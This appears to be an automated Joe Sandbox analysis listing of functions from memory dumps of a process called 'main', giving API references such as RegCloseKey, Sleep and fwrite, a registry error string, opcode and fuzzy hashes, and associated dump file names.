Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 5f5ea0f9f6c2b9098e89ad5623ce28115323a951ada21aea5d48ca5dd308e646
Instruction ID: 122cb70f7bbc310ad0d33c5f1c7ea3e2288ff93c47233ee42727bcaa3bfc0efd
Opcode Fuzzy Hash: 5f5ea0f9f6c2b9098e89ad5623ce28115323a951ada21aea5d48ca5dd308e646
Instruction Fuzzy Hash: 8CF0AFA2A0C68A41F5578F20FC413796254AF42794F440235DD1DCA2A0EEACDE498300

Function 00007FF7AABD94EE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF7AABD950D

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

Strings

registry_get_value, xrefs: 00007FF7AABD9556
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF7AABD955D

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 89e201b1b19368985b3aff1c995b4a2cb45fbe966d6c7b92305e157478a13d57
Instruction ID: 8eefce57d6ccbc06b62d1dcc49c89e849be034ca8b3b85933f963136788dc641
Opcode Fuzzy Hash: 89e201b1b19368985b3aff1c995b4a2cb45fbe966d6c7b92305e157478a13d57
Instruction Fuzzy Hash: 71F0FC2260B346C5F652AF00B8403B5A658EF40794F8A01B6DD1D46AF0EF3DD9879310

Function 00007FF7AABD94FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF7AABD950D

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

Strings

registry_get_value, xrefs: 00007FF7AABD9556
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF7AABD955D

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: e5790e1096099a07d579e11ef0f4d13bdf09a54fc36628a56ccb2441b97a57be
Instruction ID: 36b4aae9ddede359af36974a60f5010af6c70272dc661f3b0ab0f503e07c23c6
Opcode Fuzzy Hash: e5790e1096099a07d579e11ef0f4d13bdf09a54fc36628a56ccb2441b97a57be
Instruction Fuzzy Hash: DAF0FC2260B346C6F651AF00B8403B5A658AF40794F8A01B6DD1D46AF0EF3DD9879310

Function 00007FF7AABD945D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF7AABD950D

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

Strings

registry_get_value, xrefs: 00007FF7AABD9556
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF7AABD955D

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: d0e808808f2c1d8145a85920ad2bd30bdd58a052af21d225cf43ea955842b8d4
Instruction ID: edf159b1f895b25e5ee65c888a20783461550fe63cf1c88a75e3eee2ef7fcae4
Opcode Fuzzy Hash: d0e808808f2c1d8145a85920ad2bd30bdd58a052af21d225cf43ea955842b8d4
Instruction Fuzzy Hash: 05F0FC2260B34AC5F651AF00B8403B5A658AF40794F8A02B6DD1D46AF0EF3DD9879310

Function 00007FF7AABD9467 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF7AABD950D

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

Strings

registry_get_value, xrefs: 00007FF7AABD9556
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF7AABD955D

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 6aa2c8fc0a81520affe9af395ba30e596130cf497925ca1f2597c505522050b9
Instruction ID: ab4e2a4309594f9c2b529012e3f170abbf890958e01ad74a8ea011f23d093b03
Opcode Fuzzy Hash: 6aa2c8fc0a81520affe9af395ba30e596130cf497925ca1f2597c505522050b9
Instruction Fuzzy Hash: 7BF0FC2260B346C5F6516F00F8403B5A658BF40794F8A01B6DD1D469F0EF3DD58B9310

Function 00007FF7AABD9578 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF7AABD950D

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

Strings

registry_get_value, xrefs: 00007FF7AABD9556
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF7AABD955D

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 941c32b5add0acf1101d6019feb9cd1a8955f554fbf27b8dee3c5fb096be2d06
Instruction ID: 9f1d0f226b9446d047f9c822b30416f0dddce9f9f4fd64c92e749e9e87582554
Opcode Fuzzy Hash: 941c32b5add0acf1101d6019feb9cd1a8955f554fbf27b8dee3c5fb096be2d06
Instruction Fuzzy Hash: 0FF0FC2260B346C5F651AF00F8403B5A258BF40794F8A42B6DD5D46AF0EF3DD98B9310

Function 00007FFB23ADBC87 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23ADBD2D

Part of subcall function 00007FFB23AD1352: fwrite.MSVCRT ref: 00007FFB23AD13FE
Part of subcall function 00007FFB23AD1352: fflush.MSVCRT ref: 00007FFB23AD140A

Strings

registry_get_value, xrefs: 00007FFB23ADBD76
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23ADBD7D

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 801954a1ebe62f362fc6ccacca1ca43c400b543bf077a5860ada3d3be7abe30a
Instruction ID: eb302317a2fb924eb06e5e50444b034dcdfbc58f4311e3b88212fd3a250f32e9
Opcode Fuzzy Hash: 801954a1ebe62f362fc6ccacca1ca43c400b543bf077a5860ada3d3be7abe30a
Instruction Fuzzy Hash: C6F0F6A260978A41E5938F20FC4037D2244BF46794F4C0276DE5D5A6D0DF2DD98A8300

Function 00007FFB23ADBC7D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23ADBD2D

Part of subcall function 00007FFB23AD1352: fwrite.MSVCRT ref: 00007FFB23AD13FE
Part of subcall function 00007FFB23AD1352: fflush.MSVCRT ref: 00007FFB23AD140A

Strings

registry_get_value, xrefs: 00007FFB23ADBD76
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23ADBD7D

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 1c8fa513a51aa993d352f32a08dd69f96d316f50c695c4fb9fbac1e8aa1c7746
Instruction ID: c08b1a81ebb64e7e07d49df0f7725a38c5f7d8968b21a78c38d15ca11364e6ea
Opcode Fuzzy Hash: 1c8fa513a51aa993d352f32a08dd69f96d316f50c695c4fb9fbac1e8aa1c7746
Instruction Fuzzy Hash: 60F0F6A260978E41E5938F20FC4037D2244AF46795F4C0276DE5D5A6D0EF2DD9868300

Function 00007FFB23ADBD1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23ADBD2D

Part of subcall function 00007FFB23AD1352: fwrite.MSVCRT ref: 00007FFB23AD13FE
Part of subcall function 00007FFB23AD1352: fflush.MSVCRT ref: 00007FFB23AD140A

Strings

registry_get_value, xrefs: 00007FFB23ADBD76
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23ADBD7D

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 397401bc82e67dce7063090cc41fbd15482e5dbb8bb38b517e7daf03d6cca70e
Instruction ID: c4fc027440b454a4f0e3d4be352ae0641dd60f8d2fe59d79c4fb5b265794a3a4
Opcode Fuzzy Hash: 397401bc82e67dce7063090cc41fbd15482e5dbb8bb38b517e7daf03d6cca70e
Instruction Fuzzy Hash: A4F0F6A260978A42E5938F20FC4037D6244AF46794F4C0276DE5D5A6D0DF2DD9868700

Function 00007FFB23ADBD98 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23ADBD2D

Part of subcall function 00007FFB23AD1352: fwrite.MSVCRT ref: 00007FFB23AD13FE
Part of subcall function 00007FFB23AD1352: fflush.MSVCRT ref: 00007FFB23AD140A

Strings

registry_get_value, xrefs: 00007FFB23ADBD76
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23ADBD7D

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 728b1ce8a4a394d9be4054a9d6dc3bf19324a7805fff9f6115458839317820af
Instruction ID: 595b3e055becbb9741c1820fb479832c1aa6bbc0265dec7f8114152947553c7a
Opcode Fuzzy Hash: 728b1ce8a4a394d9be4054a9d6dc3bf19324a7805fff9f6115458839317820af
Instruction Fuzzy Hash: 79F096A260978A41E5938F20FC4037D6255BF46794F4C0276DE5D566D0DF2DD98A9700

Function 00007FFB23ADBD0E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB23ADBD2D

Part of subcall function 00007FFB23AD1352: fwrite.MSVCRT ref: 00007FFB23AD13FE
Part of subcall function 00007FFB23AD1352: fflush.MSVCRT ref: 00007FFB23AD140A

Strings

registry_get_value, xrefs: 00007FFB23ADBD76
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23ADBD7D

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 1f0c8f6225a9bc618ddb07f2f1f3cda379d5d95a440c6c1aab50117772c59d0e
Instruction ID: 475b8dd9ca4eea4fb7d7a92d684a8f79266479d9ee2263c5debf935799178bda
Opcode Fuzzy Hash: 1f0c8f6225a9bc618ddb07f2f1f3cda379d5d95a440c6c1aab50117772c59d0e
Instruction Fuzzy Hash: 4DF0F6A260978A41E5938F20FC4037D2244EF46794F4C0276DE5D5A6D0DF2DD9868300

Function 00007FFB2273A31A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFB2273A3FB
Sleep.KERNEL32 ref: 00007FFB2273A407

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: c057402851dca6842acfeb53d5f4bd6522ef3f82a611d58142259f483ab9c493
Instruction ID: 2954f0cd99f0df1e29c6cf6bf39199f9b57c702e5a2dd229f9c2cac09531d1ed
Opcode Fuzzy Hash: c057402851dca6842acfeb53d5f4bd6522ef3f82a611d58142259f483ab9c493
Instruction Fuzzy Hash: 2D311AE0B1C68282FB329739EC462382261AF53370F140331D47EC66F5DEADAD459242

Function 00007FFB2276135A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFB2276143B
Sleep.KERNEL32 ref: 00007FFB22761447

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: 90bf4d7274da88051de7ba236e3790971acd11ed8b2ecc5597919f091d7b9e59
Instruction ID: ac53808614f6dc590153e548b8e80a9a375a146ebaf2f82819911747302a03bf
Opcode Fuzzy Hash: 90bf4d7274da88051de7ba236e3790971acd11ed8b2ecc5597919f091d7b9e59
Instruction Fuzzy Hash: 9A3139A0F0C68282FA325735ED882382251AF5A770F540B31D47EC6BF5EEECAD449251

Function 00007FFB23B0605A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFB23B0613B
Sleep.KERNEL32 ref: 00007FFB23B06147

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: f41a2fd7c2c62fd8492a237bcc7c73a49ed62abef21106d16d4f36e0309278c3
Instruction ID: 5364222bb01461268395c21539f7cfe79a93511db0809cbffa436e6f3161f93d
Opcode Fuzzy Hash: f41a2fd7c2c62fd8492a237bcc7c73a49ed62abef21106d16d4f36e0309278c3
Instruction Fuzzy Hash: 3C311AACE48A9282EA229F34ECCC33C2291AF40370F1807B1D4FD666E5EE2DE6455750

Function 00007FFB2270135A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFB2270143B
Sleep.KERNEL32 ref: 00007FFB22701447

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: f2979eb66c59284bde3ecee25df94b5ff5ff0c8ae82d3456804992588ae00f14
Instruction ID: 9ee4f3882837b835bee840669d3df1e8f600ba48a5e8f3e126f44560cc7cca94
Opcode Fuzzy Hash: f2979eb66c59284bde3ecee25df94b5ff5ff0c8ae82d3456804992588ae00f14
Instruction Fuzzy Hash: F0310CE0E0C68282FA269B74EC853782691AF46334F100331E47DCAAF5DEACEF495640

Function 00007FFB23AD26DA Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFB23AD27BB
Sleep.KERNEL32 ref: 00007FFB23AD27C7

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: f4ae83479aff9af60f2a3b692e6c9872380cd6d8c1b389a7cbdcba70c0553c8d
Instruction ID: ff42dcda62c749cd7752a122f53c8e0e09f1b373f339680c7cd33faf6b14174b
Opcode Fuzzy Hash: f4ae83479aff9af60f2a3b692e6c9872380cd6d8c1b389a7cbdcba70c0553c8d
Instruction Fuzzy Hash: 1F3119A4F1CACA82F7369735EC8427D2261AF43730F1803F2D47D666E5DE2DA5869B40

Function 00007FF7AABD19E2 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AABD1FD0: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF7AABD162F), ref: 00007FF7AABD1FEE

SleepEx.KERNEL32 ref: 00007FF7AABD1A51

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

